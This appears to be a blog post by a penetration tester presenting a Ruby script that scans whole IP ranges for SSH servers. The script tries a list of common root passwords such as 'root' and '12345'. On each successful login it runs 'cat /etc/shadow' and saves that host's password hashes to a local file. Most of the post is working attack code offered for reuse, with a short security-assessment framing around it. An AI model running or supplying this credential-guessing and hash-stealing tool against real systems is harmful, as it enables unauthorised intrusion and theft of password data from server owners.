Exploiting SSH weak passwords the ruby way
Even before starting writing complex input filters to manage your users’ input, you must care about the password you use on your servers. If they are poor, no application security on Earth would save you against a break-in.
Scenario
You are pentesting your customer’s network. A lot of servers are answering to SSH protocol in order to allow remote management. No problem with this, of course you may want to deal with remote management also using some identity and access management product in order to centralize admin login and to have a truly random root password on each server.
There are some well known passwords every not-so-security-aware sysadmin would use to protect root account:
- God
- Sex
- Password
- root
- 12345
- 1q2w3e4r
I’m not jocking. They are still here. People still use weak passwords since they are quick to memorize and to type on the keyboard.
The funny bit here is that most of time is spent by root to be idle looking at the ls -l command output. Grin.
Do you need a very quick script to check for root default credentials? I’ll give you one I wrote and that I found useful in a lot of security assessments.
Implementation
What we need here is to connect to a given host on a given port using the SSH protocol. Our script must be flexible enough to accept an arbitrary host and also arbitrary ports. System administrators may have changed SSH default port to their server, so we would parameterize it instead of hardcoding “22” in our script. We need also a way to manage IP addresses notation, in order to scan whole networks without specifying every single host.
We’re lucky enough, all we need is on standard library. We just want to install the net-ssh ruby gem.
$ gem install net-ssh
Our script would read a config file for target SSH ports and trivial password to use. We won’t code an ssh bruteforcer, we just want to check if some hosts in the environment have very trivial password values for root account.
``` ruby a very basic read_conf method require ‘yaml’
…
def self.read_conf(conf_file=nil)
(conf_file.nil?)? file=’./ssh_takedown.yaml’ : file=conf_file (File.exists?(file))? config = YAML.load_file(file) : config = {“config”=>{“ports_to_scan”=>”22”, “password_list”=>”root,password”}}
config end
A basic configuration file…
#
config:
ports_to_scan: “22,2022,3022”
password_list: “God,sex,xxx,Password,root,12345,1q2w3e4r”
… and its usage…
#
1.9.3-p194 :009 > require ‘yaml’
=> true
1.9.3-p194 :010 > read_conf(“./con.yaml”)
=> {“config”=>{“ports_to_scan”=>”22,2022,3022”, “password_list”=>”God,sex,xxx,Password,root,12345,1q2w3e4r”}}
1.9.3-p194 :013 > ports = conf[“config”][“ports_to_scan”].split(‘,’)
=> [“22”, “2022”, “3022”]
Starting from ruby 1.9 there is a great class in the standard library taking
care of all the stuff about ip addresses.
The idea here is to use this standard library class to manage how inputs in
term of VLANs.
The to_range method helps us in create a list of single host IPAddr classes
that can be used in a loop.
``` ruby the ipaddr facility
require 'ipaddr'
net = IPAddr.new("192.168.1.0/24")
net.to_range # => #<IPAddr: IPv4:192.168.1.0/255.255.255.0>..#<IPAddr: IPv4:192.168.1.255/255.255.255.0>
net.to_range.count # => 256
Our main class would take config values, splits the comma separated options and be ready for the takeover.
``` ruby Codesake::SSH::Takedown class
require ‘ipaddr’ require ‘net/ssh’
module Codesake module SSH class Takedown
attr_reader :ports
attr_reader :passwds
attr_reader :target
attr_reader :results
def initialize(target, config)
@ports = conf_to_ports(config)
@passwds = conf_to_passwds(config)
@target = target
end
def analyse
@results = []
@target.to_range.each do |host|
@passwds.each do |pass|
@ports.each do |port|
@results << {:host=>host.to_s, :port=>port, :pass=>pass} if connect(host.to_s, port, pass)
end
end
end
@results
end
def takedown
@results.each do |result|
steal(result[:host], result[:port], result[:password])
end
end
private
def steal(host, port, password)
begin
ssh = Net::SSH.start(host, "root", {:password=>password, :port=>port, :timeout=>3})
data = ssh.exec!("cat /etc/shadow")
f_d = File.new(host+"_shadow", "w")
f_d.write(data)
f_d.close
ssh.close
ret = true
rescue => e
ret = false
end
ret
end
def connect(host, port, password)
begin
ssh = Net::SSH.start(host, "root", {:password=>password, :port=>port, :timeout=>3})
ssh.close
ret = true
rescue => e
ret = false
end
end
def conf_to_ports(config)
config["config"]["ports_to_scan"].split(',')
end
def conf_to_passwds(config)
config["config"]["password_list"].split(',')
end
end end end
Now you can glue pieces together.
``` ruby a ssh weak passwords detect script... you can star from here and improve it to fit best your needs
require 'yaml'
require 'ipaddr'
# defaulting values here
conf = Codesake::Config.read_conf
net = ARGV[0]
Kernel.exit(-1) if net.nil? or net.empty?
ips =IPAddr.new(net)
engine = Codesale::SSH::Takedown.new(ips, conf)
results = engine.analyse
# steal /etc/shadow
engine.takedown
Now we can call this script specifying networks in the CIDR notation and having shadow files to be saved in the current directory.
Off by one
Security starts from protecting your hosts with strong passwords for super user account. Period. No matter how good is your web code, if you leave the main door opened, your data are compromised as well as your code is suffering by SQL Injections.
Now, an announcement. Next April I’ll talk at Railsberry 2013 on about using ruby in a deep web application penetration test. It would be a great conference and I’m very excited about being part of it. There will be a lot of great software engineer… I hope they’ll love some security rants :)